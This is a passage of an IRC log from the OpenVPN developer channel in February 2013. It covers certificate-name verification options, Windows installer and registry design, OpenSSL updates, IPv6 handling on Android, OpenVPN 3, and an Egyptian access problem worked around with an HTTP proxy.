8:00), too inconvenient this week) 04:06 <@plaisthos> cron2: have fun 04:49 <@d12fk> how about s.th like this for a replacement for --tls-remote 04:50 <@d12fk> --verify-x509-name <type> <value> 04:50 <@d12fk> e.g. --verify-x509-name CN "Jon Doh" 04:51 <@d12fk> --verify-x509-name DN "C=DE, L=Karlsruhe, O=Sophos, CN=Jörg Müller" 04:52 <@d12fk> or do you think it maes sense to split up the option into one for checking the complete subject dn vs. single fields from it? 04:53 <@d12fk> probjem will still be when there's more than one of the same RDN in the subject 04:54 <@d12fk> i.e. OU or DC 05:33 <@dazo> d12fk: Instantly, I'm thinking that makes sense ... but I probably need a bit more time to think about it ... could we have a discussion on the mailing list? ... listing cons/pros for the old solutions (--tls-remote, --verify-hash) vs this new one 05:43 <@d12fk> i'll just post it as above and wait for the bashing 05:58 <@dazo> d12fk: :) 05:59 <@dazo> The key point to make this go smooth is to emphasize on the limitations of --tls-remote ... and that --verify-x509-name will be a major enhancement ... and that we can't touch --tls-remote due to backwards compatibility 06:01 <@d12fk> i dont expect too much of a flamewar to arise from this =) 08:30 <@plaisthos> hm confusing OpenVPN log messages. The message Peer Connection Initiated with ... seem also be triggered on renogiation 08:30 <@plaisthos> it is in the log every hour 09:50 * plaisthos added a warning for exactly this kind of problem into the log 09:52 <@plaisthos> <string name="warn_no_dns">No DNS servers being used. Name resolution may not work. Consider setting custom DNS Servers</string> 09:52 <@plaisthos> argh 09:52 <@plaisthos> wrong channel 10:58 * cron2 waves in from somewhere high above turkey 10:59 <@cron2> modern times are crazy, GSM phone plus WiFi Internet on board of airplanes 11:09 <@plaisthos> yes ... 11:11 <@plaisthos> cron2: for free or like $$$? 11:11 <@plaisthos> (or not for free but port 53/udp/tcp open to all server) 11:17 <@cron2> plaisthos: 2.75$ for 5MB, 10$ for 30MB 11:17 <@cron2> but latency is nasty 11:20 <+krzee> hows the jitter? 11:20 <+krzee> steady latency or jumping around a lot? 11:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 11:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:42 <@plaisthos> cron2: pricey ... 13:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:04 -!- dazo is now known as dazo_afk --- Day changed Tue Feb 12 2013 01:13 <@cron2> krzee: latency jumping between 800ms and 35 seconds. 01:14 * cron2 is in the office now, and while still slowish, the latency is much better :-) 01:14 <@cron2> and no IPv6 here, of course, but that's why I'm paid to be here 02:46 -!- dazo_afk is now known as dazo 03:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 03:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:57 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:52 <@plaisthos> If I figure out how the event system in OpenVPN I think I will pick up my multi socket stuff in 2.3 again 05:16 * cron2 looks happy 06:54 <@plaisthos> .oO(and probably base it on the client socket stuff) 13:49 -!- novaflash is now known as novaflash_away 13:50 -!- novaflash_away is now known as novaflash 13:51 -!- novaflash is now known as novaflash_away 13:53 -!- novaflash_away is now known as novaflash 14:47 -!- dazo is now known as dazo_afk 15:18 <@plaisthos> great another bug in Android VPNService 19:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 252 seconds] 19:45 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel --- Day changed Wed Feb 13 2013 00:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 03:31 <@mattock> do we want to change the version number of the tap-windows driver to 9.9.3? I had to fix an installer issue, so while the driver itself is unchanged, the installer package is not 03:59 -!- dazo_afk is now known as dazo 04:09 <@mattock> hmm, fixing #153 without building devcon.exe might not be as easy as I though... currently devcon.exe is copied from the build computer, which I think is good 04:11 <@dazo> mattock: I would avoid changing versions just for the sake of versions ... versions should change when the code changes, unless it is to avoid some other annoying issues which cannot be solved without changing version numbers 05:47 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Quit: leaving] 05:52 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 06:57 <@mattock> not changing the version number will just (potentially) create some confusion due to the identical filename 06:58 <@mattock> although if that's a big issue, it could be changed manually 07:13 <@dazo> if adding something, adding a more digit (as a build number) can probably help sort of some of the confusion 07:13 <@dazo> s/a more/one more/ 07:14 <@ecrist> that's what the freebsd port system does 07:14 <@ecrist> 2.3.0 for the base version 07:15 <@ecrist> 2.3.0_1 for the second port revision (new build/depend, where the base software version didn't change) 07:15 <@ecrist> 2.3.0_2 for the third port revision, etc 07:16 <@mattock> ecrist: +1 07:16 <@mattock> that's what's used in Debian packages 07:16 <@mattock> I think RedHat packages use 2.3.0-<something> 07:27 <@dazo> that's correct 07:27 <@dazo> The <something> is called release version, iirc 11:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:04 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 12:08 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 13:32 -!- novaflash is now known as novaflash_away 13:38 -!- novaflash_away is now known as novaflash 14:15 -!- dazo is now known as dazo_afk --- Day changed Thu Feb 14 2013 01:18 <@cron2> openssl 1.0.1e seems to be out. Can someone test that it not breaks OpenVPN anymore? 01:38 <@mattock> I can roll out new Windows installers based on that 01:38 <@mattock> that's what we're most worried about probably 01:39 <@mattock> building... 03:56 <@mattock> seemed to build ok 03:56 <@mattock> let's see if it breaks openvpn 04:21 <@mattock> smoketests passed, I'll send mail to openvpn-devel 04:30 -!- dazo_afk is now known as dazo 04:35 <@mattock> mail sent 09:07 <@mattock> link to openvpn.8.html was broken in the start menu, fixed that and added some links to the wiki and "Getting help" page 09:07 <@mattock> also, "Windows notes" pointed to the openvpn.net version, which is obsolete afaik 11:47 -!- dazo is now known as dazo_afk 11:48 <+krzee> sad that Mathias Sundman's page (openvpn.se) still comes up #1 when you google: openvpn windows 11:48 <+krzee> latest release 6.5 yrs ago, still #1 on the goog 12:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 14:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:29 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:29 -!- dazo_afk is now known as dazo 17:04 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 19:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:21 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:21 -!- dazo_afk is now known as dazo 19:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] --- Day changed Fri Feb 15 2013 02:59 <@mattock> d12fk: there? 03:13 <@mattock> no complaints about the rebuilt installer, I guess I'll just release them and hope for the best :) 03:32 <@plaisthos> from the category of obscure feature request that will go mainstream in a few years 03:32 <@plaisthos> http://code.google.com/p/ics-openvpn/issues/detail?id=142 03:32 <@vpnHelper> Title: Issue 142 - ics-openvpn - Disable local IPv6 while connected to an IPv4-only VPN - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 03:41 <@d12fk> mattock: yes 03:46 <@mattock> hi 03:47 <@mattock> have you been following https://community.openvpn.net/openvpn/ticket/252 ? 03:47 <@vpnHelper> Title: #252 (OpenVPN-GUI (64-bit) fails after installation) – OpenVPN Community (at community.openvpn.net) 03:47 <@mattock> I know you're not big in embedding installers into installers, but having a real installer/uninstaller for OpenVPN-GUI might be the least bad solution there 03:47 <@mattock> I can create the installer, np 03:47 <@mattock> what do you think 03:47 <@mattock> ? 03:48 <@mattock> btw. Windows installer I004 now out with a bunch of fixes, including openssl-1.0.1e 03:55 <@mattock> https://forums.openvpn.net/topic12165.html 03:55 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN 2.3.0 Windows build I004 released : Announcements (at forums.openvpn.net) 04:10 <@d12fk> mattock: haven't read through the ticket, currently bit short on time 04:11 <@d12fk> but why don't you just create the key in the openvpn installer itself? 04:12 <@d12fk> or we could have a command line switch that make the gui creat the installers and exit afterwards 04:12 <@d12fk> err: create the registry keys 04:21 <@mattock> well, do we really want to make openvpn-gui depend on the openvpn installer? what if a user wants to install it separately, e.g. to try out a development version of openvpn-gui? 04:22 <@mattock> the way I see it, there are two fairly good options: 04:22 <@mattock> a) make openvpn-gui check it's operating environment during startup (e.g. location of openvpn install directory) 04:22 <@mattock> b) add a proper installer/uninstaller to openvpn-gui that handles all this stuff 04:22 <@mattock> other options are pretty hacky, and create side-effects and possible problems down the road 04:23 <@mattock> -> lunch 04:24 <@mattock> option a) will still leave OpenVPN-GUI registry keys lying around after openvpn uninstall, but that doesn't trigger the "OpenVPN-GUI does not start" bug like it does now in some cases 04:38 <@d12fk> there could just as well be an cmdline option to remove the reg keys in the gui 04:38 <@d12fk> if users want to test a version not in the openvpn installer they just download the binary run it and are done, i see no need for an installer for that 04:39 <@d12fk> we could also move the reg keys blow the openvpn keys 04:39 <@d12fk> makes sense imho 04:40 <@d12fk> then a delete would be a no brainer as removing the openvpn key recursively would remove the gui key(s) as well 04:45 <@d12fk> additional to that we could make the gui reg values optional and fall back to secure default if they don't exist 04:47 <@cron2> krzee: maybe contact Mathias and ask him to put some updated text and pointers to the new community edition there? 04:47 <@cron2> plaisthos: regarding your id=142, I have been discussing this with James as well, and it's... tricky 04:48 <@plaisthos> cron2: yeah. I think best option to create a fake route with a IPv6 address that Android will consider inferior 04:48 <@plaisthos> like 2002: 04:48 <@d12fk> cron2: i contacted him already and have ssh to the box but can't edit due to lack of permission. since then contacting him failed 04:52 <@cron2> d12fk: regarding the gui/reg-keys: your suggestion sounds good to me 04:52 <@cron2> plaisthos: you can't create routes without root, can you? 04:53 <@cron2> plaisthos: so my wacky idea was "install routes using the VPN-API, and if --block-ipv6 option is given, drop IPv6 packets (with ICMPv6 unreachable) inside OpenVPN" 04:53 <@cron2> after I suggested that to James, I never heard back from him on that topic, so I'm not sure he still talks to me :-) 04:53 <@d12fk> cron2: downside to thisis that the installer would still need to know what settings exist to tweak them, so it could just as well set them directly 04:53 <@cron2> (iOS is facing the problem) 04:54 <@cron2> d12fk: well, how often get new keys added? Installers tend to have a bit of knowledge about the stuff they install :-) 04:54 <@d12fk> so, ignoring and falling back to secure defaults would probably suffice 04:54 <@d12fk> cron2: my point 04:55 <@d12fk> lets wait til mattock is back from lunchathon 05:01 <@d12fk> mailed mathias sundman again about granting be some 05:10 <@plaisthos> cron2: you can only create routes that point to tun 05:13 <@plaisthos> cron2: I wonder what the Cisco client does 05:13 <@cron2> plaisthos: yep, what I aswsumed, and since the tun is not using the next-hop (being a p2p interface), I do not see a non-wacky way right now 05:13 <@cron2> plaisthos: uh, "just ignore the issue"? That's at least what it used to do... 05:14 <@cron2> (sorry for the typing, btw, ~1s delay makes going back and fix single letters very time consuming) 05:16 <@plaisthos> cron2: the reporter of the bug said that the cisco client somehow disables ipv6 05:17 <@cron2> mmmh, so one would need to check the routing table and traceroute6 output while that one is running... 05:21 <@plaisthos> I don't know if it is good idea to implement such a specialized feature in OpenVPN 05:22 <@cron2> if the requirement exist, and we find no other solution, what else can we do? 05:23 <@cron2> (actually this would make our code more clean, a I now have code that sets up special "discard-and-icmpv6" routes for Linux, Linux/iproute2, Windows and MacOS for --block-ipv6, and nothing is done for *BSD or Solaris yet... 05:24 <@cron2> so tieing this into "redirect-gateway ipv6" (whenever I get around to that) and then handle the actual dropping in a platform-independent way internally might be nicer 05:26 <@cron2> meh "we'll shortly switch off wifi service in preparation for landing"... 05:26 <@cron2> I'll be back! 05:31 <@mattock> ok, back 05:33 <@mattock> d12fk: why not just make OpenVPN-GUI check it's settings (e.g. openvpn installation dir) when it's launched, and fix them on the fly, if necessary? 05:34 <@mattock> I don't particularly want a separate installer, unless we got other stuff to distribute besides the single binary 05:34 <@mattock> for example documentation 05:35 <@d12fk> the gui doesnt have permission to change the settings in HKLM when it's run under the user account 05:35 <@d12fk> hence it complains 05:35 <@mattock> ok, so only the initial startup require real admin privileges 05:35 <@mattock> but after that it'll run with more limited privileges? 05:35 <@cron2> if using the interactive service 05:36 <@mattock> ok, I see 05:36 <@d12fk> registry wise it only need admin priv. at the first run 05:39 <@d12fk> need to check whether there is any other setting besides the path to openvpn.exe and the configs that are security relevant 05:41 <@mattock> ok 05:43 <@mattock> could openvpn-gui check the paths from HKLM\Software\OpenVPN instead of \OpenVPN-GUI? 05:46 <@mattock> list of registry keys in openvpn-gui: https://community.openvpn.net/openvpn/attachment/ticket/252/openvpn-gui-registry-keys.png 05:46 <@vpnHelper> Title: openvpn-gui-registry-keys.png on Ticket #252 – Attachment – OpenVPN Community (at community.openvpn.net) 05:50 <@d12fk> yes it could, and should, but shoild prefer the ones under the GUI key if available 05:51 <@mattock> yep 05:53 <@mattock> do you have any religious objections to having an installer? 05:54 <@d12fk> it's just not worth the hassle imho 05:54 <@mattock> the installer/uninstaller could handle all the registry key management logic, for example, if user so wishes, keep the configurable parameters intact during uninstall (proxy settings, language) 05:55 <@d12fk> i'd integrate that in the current one 05:55 <@mattock> well, I think it's less of a hassle than the alternatives 05:55 <@mattock> I would not :) 05:55 <@mattock> call me Alonish if you will :P 05:55 <@d12fk> you call, you do the work 05:55 <@mattock> yep, I'll take the pain 05:56 <@d12fk> you'll end up with the reg logic spread across installers, because you want the same for openvpn itself i assume 05:56 <@d12fk> and as the gui is an integral part of openvpn on windows i just wouldn't do it. but again your call 05:56 <@mattock> well, I'd prefer OpenVPN-GUI to be self-contained, rather than depend on some obscure openvpn.nsi in openvpn-build repo 05:57 <@mattock> well, I never use the GUI on Windows, I use the fairly crappy service 05:57 <@d12fk> unsability sucks with installers in installers imho 05:57 <@mattock> come again? :P 05:57 <@d12fk> usability that is 05:58 <@d12fk> you configure stuff, advance, than the next installer pops up and you configure again, then the next and so on 05:58 <@mattock> yep, that is true, although if the installer doesn't take any/many options, that's ok I think 05:58 <@d12fk> i'd rather have it in one place and be done in one step alltogether 05:58 <@mattock> i.e. is silent 05:58 <@d12fk> ah ok 05:58 <@mattock> just like tap-windows installer within openvpn installer 05:59 <@mattock> I don't like the idea of embedding tons of interactive installers into one 05:59 <@mattock> but I think the openvpn-gui installer in openvpn installer can use reasoable defaults 06:00 <@mattock> also, I think it'd be possible to let user choose openvpn-gui -specific options in openvpn installer, and pass those as options to the openvpn-gui (=embedded) installer 06:00 <@d12fk> yep 06:00 <@mattock> anyways, I'll do a proof of concept first and see how it goes 06:01 <@mattock> does openvpn-gui have any documentation atm? 06:01 <@mattock> which I should/could distribute with the installer 06:02 <@d12fk> nope nada 06:02 <@mattock> ok, good (I guess :) 06:09 <@mattock> besides, this is good NSI practice for me, now that Alon jumped ship 06:09 <@mattock> the ship 06:13 * d12fk didn't know that expression and learned s.th. today =) 06:15 <@d12fk> i am back at the --tls-remote cpmat patches after some professional distraction btw 06:22 <@mattock> yeah, it's a nice expression 06:22 <@mattock> I didn't actually know he jumped the ship until a few weeks back 06:22 <@mattock> he's always so melodramatic, so it's difficult to know when he actually means something for real 06:24 <@cron2> he jumped? 06:38 <@mattock> from the "OpenVPN ship", yes :) 08:15 <@cron2> mattock: officially so, or "just disappeared"? 08:20 <@ecrist> mattock - ping 08:23 <@ecrist> nm, I was looking at the wrong box 08:29 <@mattock> ecrist: pong 08:29 <@mattock> ok 08:29 <@mattock> I was reading one line at a time 08:29 <@mattock> cron2: well, he refuses to do anything anymore 08:30 <@mattock> I'm not sure when that happened exactly 08:30 <@mattock> proof of concept openvpn-gui.nsi partially functional 08:31 <@mattock> d12fk: is openvpn-gui always 32-bit, or can it be compile to be 64-bit, too? 08:31 <@d12fk> it can 08:31 <@mattock> easy? 08:31 <@d12fk> are you using mingw 08:32 <@mattock> well, definitely, if possible 08:32 <@mattock> hmm, actually, it could be that openvpn-build already builds separate 32-bit and 64-bit versions of openvpn-gui 08:32 <@mattock> probably does 08:33 <@d12fk> then just do --host=x86_64-w64-mingw32 when ./confiugre 08:33 <@mattock> yeah 08:34 <@mattock> openvpn-build generates separate binaries for 32-bit and 64-bit 08:34 <@mattock> forget all about what I said :) 08:34 <@mattock> I'll continue playing with nsi next week, nuf is nuf 08:35 <@mattock> still no complaints about the new windows installer, good 09:13 <@ecrist> dazo: is euriphia the recommended ldap plugin now? 09:13 <@dazo> ecrist: eurephia don't have ldap support yet .... I somehow got involved into this openvpn crap which diverted my resources completely .... ;-) 09:14 <@ecrist> ah 09:14 <@ecrist> it seems we're using http://redmine.debuntu.org/projects/openvpn-ldap-auth/wiki for the community stuff 09:14 <@dazo> it's on my TODO list though, still 09:14 <@vpnHelper> Title: openvpn-ldap-auth - Wiki - Redmine@Debuntu (at redmine.debuntu.org) 09:17 <@ecrist> meh, I'll just do the pam thing 09:17 <@ecrist> that's easy enough 09:17 <@dazo> :) 11:36 <@plaisthos> cron2: according to bug reporter there are no changes to routing tables 11:36 <@plaisthos> I guess there is some other magic or reporter is wrong :) 12:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:22 -!- dazo is now known as dazo_afk 19:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 20:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 20:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Sat Feb 16 2013 02:32 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 02:32 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:33 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Network is unreachable] 02:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:36 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] --- Day changed Mon Feb 18 2013 03:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 03:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:35 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:25 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:25 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:11 <@dazo> andj: plaisthos: seen this one? https://www1.informatik.uni-erlangen.de/frost 05:11 <@vpnHelper> Title: FROST: Forensic Recovery Of Scrambled Telephones | IT-Sicherheitsinfrastrukturen (Informatik 1) (at www1.informatik.uni-erlangen.de) 05:52 <@plaisthos> dazo: yes 05:54 <@plaisthos> dazo: Typical cold boot attack but only works with open bootloader 05:54 < syzzer> yeah, saw that one too 05:54 < syzzer> pretty much shows why device encryption is not sufficient 05:54 <@plaisthos> basically you need on cpu die memory to be immune to this kind of attack 05:56 < syzzer> well, some sort of secure component to store your key 05:57 <@plaisthos> syzzer: the phones already have that 05:58 < syzzer> yeah, but (aside that lots of them don't use it) crypting the entire volume forces you to have it accessable all the time 06:13 <@plaisthos> syzzer: take the xbox 360 that one has a small on die memory for encryption stuff 09:44 <@d12fk> ugh, getting the usage of --tls-remote, --verify-x509-name, --verify-x509-username, --compat-names and --no-name-remapping right for allowed combination right is tough, expect some braindamage when reviewing the patch 10:36 <@plaisthos> :) 10:36 <@plaisthos> design a new and better interface and deprecate all the old stuff? 10:50 <@cron2> plaisthos: and get James tell him again that this is not the way forward? :-) 10:51 <@plaisthos> cron2: yeah right :/ 10:52 <@dazo> We need an IRC meeting with James again ... so we can get rid of much of this legacy stuff in OpenVPN 3.x 10:52 <@plaisthos> I am curious when and if James will the OpenVPN 3 publically available 10:53 <@plaisthos> and dealing with platform specific stuff 10:53 <@dazo> to me 3.x is a generation change ... and I see we can support 2.x a while forward while having 3.x out 10:53 <@plaisthos> yeah. But I think the 3.0 core still needs to mature before it can replace 2.x 10:55 <@dazo> oh, absolutely! 10:55 <@dazo> but I want to ensure that we can cut much of the crap in 3.x 10:56 <@plaisthos> I think there should a general idea how to deal with some of the options 10:56 <@plaisthos> like the win32-* 10:56 <@plaisthos> that these can be safely ignored on non win32 10:56 <@dazo> yupp 11:31 -!- Netsplit *.net <-> *.split quits: @d12fk 11:36 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 11:36 -!- ServerMode/#openvpn-devel [+o d12fk] by calvino.freenode.net 12:09 <@d12fk> the thing is: ovpn 3 is already released 12:09 <@d12fk> it's running on the ios client and android iirc 12:09 <@d12fk> the ones from inc. 12:10 <@plaisthos> d12fk: I meant a public release with open source license 12:10 <@d12fk> yeah but still he won't give features up that these client already support 12:11 <@plaisthos> I can also give you a build of my app that allows switching between OpenVPN 3 and OpenVPN 2.x 12:11 <@plaisthos> d12fk: I found no end user visible feature in 3.0 that is not in 2.x 12:12 <@plaisthos> at least not from the client api perspective 12:13 <@d12fk> afaik dazo was about dropping 2.x features in 3.0 12:14 <@plaisthos> d12fk: ah like strange options that openvpn 3 already supports? 12:14 <@d12fk> yes 12:14 <@plaisthos> Hm perhaps I should try to compile a list of options the openvpn 3 core supports 12:32 <@plaisthos> http://plai.de/ovpn3-options.txt 12:34 <@plaisthos> I just found out about extra-certs 12:34 <@plaisthos> and that you can inline that too 12:34 * plaisthos decides to ignore that 12:34 <@plaisthos> I always put extra certs into <ca> that works too 12:36 <@plaisthos> there may some false positive/negative in there but from the first glance is nothing in the v3 core yet which is problematic 13:54 -!- dazo is now known as dazo_afk 14:28 <@ecrist> well, ssl-admin, as of 1.1.0 now generates in-line openvpn configurations 14:28 <@ecrist> :D 15:20 -!- novaflash is now known as novaflash_away 15:32 -!- novaflash_away is now known as novaflash 16:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 245 seconds] 16:43 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 264 seconds] --- Log closed Mon Feb 18 16:43:51 2013 --- Log opened Tue Feb 19 09:40:43 2013 09:40 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 09:40 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 1 voices, 8 normal] 09:40 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:40 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 09:40 <@ecrist> mattock or novaflash: ping 09:41 <+novaflash> ouch 09:41 <+novaflash> here, ecrist 09:41 <@ecrist> do you know if you guys are filtering 41.36.146.1 from the main webserver? 09:42 <+novaflash> honestly i have no idea, sorry 09:42 <@ecrist> can't you go look? 09:42 <+novaflash> i can in about an hour when andrew is in and passes me the access codes 09:43 <+novaflash> it goes through a DDoS filtering system first, it could be there. or on the main webserver itself. will have to check through the systems to find out. 09:43 <+novaflash> is it not loading all the pages from that IP or just a specific page/serveR? 09:43 <+novaflash> (then i know what to pass on) 09:43 <@ecrist> he can't even ping the IP 09:43 <+novaflash> is this for access to community.openvpn.net ? 09:44 <@dazo> ecrist: that's an IP address from Egypt .... his ISP blocking? 09:44 <@ecrist> 09:44:15 < alaa> kantlivelong: asked on twitter and got confirmation that site inaccessible from all local isps 09:44 <+novaflash> ouch. 09:44 <@ecrist> dazo: no, his ISP claims the filtering is on the openvpn side 09:45 <+novaflash> that's........... strange. i'll pass it to the guys when they are in 09:45 <+novaflash> and let you know here 09:45 <+novaflash> obviously we don't want openvpn to be inaccessible from egypt 09:47 <@ecrist> right 09:51 <@plaisthos> novaflash: I missed that note, do I now have to uncheck the Egypt check box in Play Store? ;) 09:52 <+novaflash> novaflash: vpn like an egyptian 09:54 <@ecrist> plaisthos: FYI, I pushed ssl-admin 1.1.0 yesterday, which generates configs with in-line certifcates and keys 09:55 <@plaisthos> ecrist: ah nice 09:55 <@plaisthos> that will make life easier :) 09:55 <@ecrist> yeah 09:55 <@plaisthos> esp. on mobile devices but also on normal openvpn installations 09:55 <@plaisthos> just one file instead of many/or strange zip archives 09:57 <@ecrist> yup 09:58 <@ecrist> I designed it so the admin can supply ssl-admin an openvpn config WITH cert/key/ca options, and ssl-admin will strip those if in-line configs are being generated. that way, zip files still work as before 10:21 <+novaflash> ecrist, andrew is checking the blocklists now. the only possibility is that it might accidentally be listed in a block we have for certain nigerian fraudrings somehow. 10:21 <+novaflash> oh. turns out that's only for privatetunnel 10:21 <+novaflash> so, no clue 10:21 <+novaflash> my guess is it's an isp thing 10:21 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:21 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:21 <+novaflash> hi raidz 10:21 <+novaflash> there he is 10:21 <@raidz> hey there 10:21 <+novaflash> now we can all point fingers and blame him 10:22 <@raidz> not sure why I wasn't in this channel 10:22 <@raidz> anywho 10:22 <@dazo> !blame 10:22 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments 10:22 <@raidz> can guy give us a traceroute? 10:22 <@raidz> we are only blocking 4 ip's on our side, and none of them are egypt ip's 10:22 <@raidz> oh, and the dshield blocklist 10:22 <+novaflash> yes, and those four are all mine. i switched providers 3 times! 10:23 <@raidz> lol 10:24 <@raidz> brb, coffee 10:35 <@raidz> anyone, traceroute? 12:17 <@cron2> gah, half of my OpenVPN buildslaves have been down since last week... why isn't anyone telling me? 12:20 <+novaflash> cron2, half your openvpn buildslaves have been down since last week. 12:22 <@cron2> novaflash: thanks! good that you mention it, I didn't notice! 12:23 <+novaflash> you're quite welcome, cron2. if you ever need something stupid from me again, i'm at your service. 12:25 <@cron2> novaflash: well, if you could mention this in a somewhat more timely fashion next time? Thanks :-) 12:39 <@ecrist> raidz: he posted one, let me find it 12:39 <@ecrist> it dies really really early 12:40 <@ecrist> http://dpaste.org/WiZSK/ 12:41 <@raidz> yeah, it dies in egypt 12:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 12:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:45 <@raidz> ecrist, not sure if bad routing or isp filtering 12:49 <@dazo> sounds like someone have to try out TOR then .... to see if that helps to get around .... or a VPN tunnel 13:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 13:45 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:45 <@ecrist> I've been considering hosting some sort of proxy for openvpn site 13:46 <@ecrist> openvpn.secure-computing.net that just does http proxying to openvpn.net 13:46 <@dazo> probably makes sense, at least in the short run 13:50 <+krzee> nice idea 13:54 <@dazo> well, it kind of just works until somebody notices and updates the IP blocking again 14:00 -!- dazo is now known as dazo_afk 14:00 <@ecrist> krzee: did you get my email? 14:00 <@ecrist> re: ssl-admin 14:11 <@ecrist> gah 14:11 <@ecrist> that site does some horrible htaccess stuff 14:11 * ecrist gives up 14:23 <@raidz> ecrist: we actually have a proxy setup: 209.141.39.241 14:24 <@raidz> you can use that if needed 14:24 <@ecrist> raidz: that points back to openvpn.net on reverse dns lookup 14:24 <@raidz> oh, yeah I have rdns set for that ip 14:24 <@raidz> I can remove it easy 14:26 <@ecrist> I un-gaveup and almost have this working 14:26 <+krzee> no i didnt, let me take a look 14:28 <+krzee> tweak down? 14:28 <+krzee> ahh there i go 14:29 <@ecrist> krzee: yeah, tweak's been up/down, I'm working on this proxy thing 14:29 <+krzee> ahh cool 14:30 <@ecrist> if I get it working, https://secure-computing.net/openvpn should be a proxy for the openvpn.net site 14:30 <@vpnHelper> Title: OpenVPN - Open Source VPN (at secure-computing.net) 14:30 <@ecrist> trying to get around the hard-coded /templates and /images pathing now 14:30 <+krzee> hey cool! 14:30 <+krzee> ssl-admin uses inline certs now 14:30 <+krzee> i likeeee 14:32 <@ecrist> so, my documentation sucks, and I need to update the man page, but the idea is you provide a config for openvpn WITH lines for cert/ca/key, as if the file was going to be zipped up 14:32 <@ecrist> ssl-admin then can either zip or build in-line 14:32 <@ecrist> (it removes the cert/ca/key lines, adds embedded certs to the end) 14:34 <+krzee> like the android importer! 14:35 <@ecrist> does that do that, too? 14:35 <+krzee> yep, its great 14:40 <@plaisthos> 